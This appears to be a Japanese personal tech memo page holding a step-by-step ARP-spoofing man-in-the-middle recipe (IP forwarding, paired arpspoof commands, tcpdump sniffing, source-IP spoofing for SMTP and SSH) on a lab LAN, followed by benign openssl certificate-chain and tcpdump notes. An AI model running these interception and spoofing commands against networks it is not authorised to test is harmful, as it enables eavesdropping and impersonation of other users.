ASP.NET 練習帳

国内の ASP.NET サーバーに関して

August 2016

MITM

router と host1 の間に割り込む方法。

あなたが管理する host2 にて下記を実行する。

# 転送を有効にするため
echo 1 > /proc/sys/net/ipv4/ip_forward

# 192.168.12.102 に向けて「192.168.12.101 は aa:aa:aa:zz:zz:zz だよ」とウソの情報を投げ付ける
arpspoof -t 192.168.12.102 192.168.12.101

# 192.168.12.101 に向けて「192.168.12.102 は aa:aa:aa:zz:zz:zz だよ」とウソの情報を投げ付ける
arpspoof -t 192.168.12.101 192.168.12.102

二つの arpspoof はタイミングを合わせてほぼ同時に実行すること。タイミングがずれると router と host1 間の通信が切れる。

割り込みを止めるには二つの arpspoof それぞれでほぼ同時に Ctrl+C する。これに関してもタイミングがずれると router と host1 間の通信が切れる。

router と host1 の間に割り込んでから、host2 で tcpdump すれば host1 の通信が見えるし、以下のようにすれば telnet を用いての SMTP や ssh の際の接続元 IP アドレスを a.b.c.d に偽って host1 に接続することも可能。この場合の a.b.c.d には 192.168.12.0/24 の範囲を指定すること。

# host2 にて enp0s3 に a.b.c.d/24 を割り当て
ip addr add a.b.c.d/24 brd a.b.c.255 dev enp0s3

# host2 にて host1 へ SMTP 接続。その際の接続元は a.b.c.d
telnet -b a.b.c.d 192.168.12.102 smtp

# host2 にて host1 へ SSH 接続。その際の接続元は a.b.c.d
ssh -b a.b.c.d 192.168.12.102

Verify a certificate chain using openssl verify - Stack Overflow
openssl verify -CAfile <( cat 中間証明書 認証局証明書 ) エンド証明書
openssl verify -CAfile <( cat 認証局証明書 中間証明書 ) エンド証明書
openssl verify -CAfile 認証局証明書 -untrusted 中間証明書 エンド証明書

tcpdump -U -w - | tee hoge.cap | tcpdump -r -
  • hoge.cap は Wireshark を使って閲覧可能
  • -w - で標準出力に書く
  • -U でバッファせず?に出力
  • -r - で標準入力から読む
linux - How can I have tcpdump write to file and standard output the appropriate data? - Stack Overflow

↑このページのトップヘ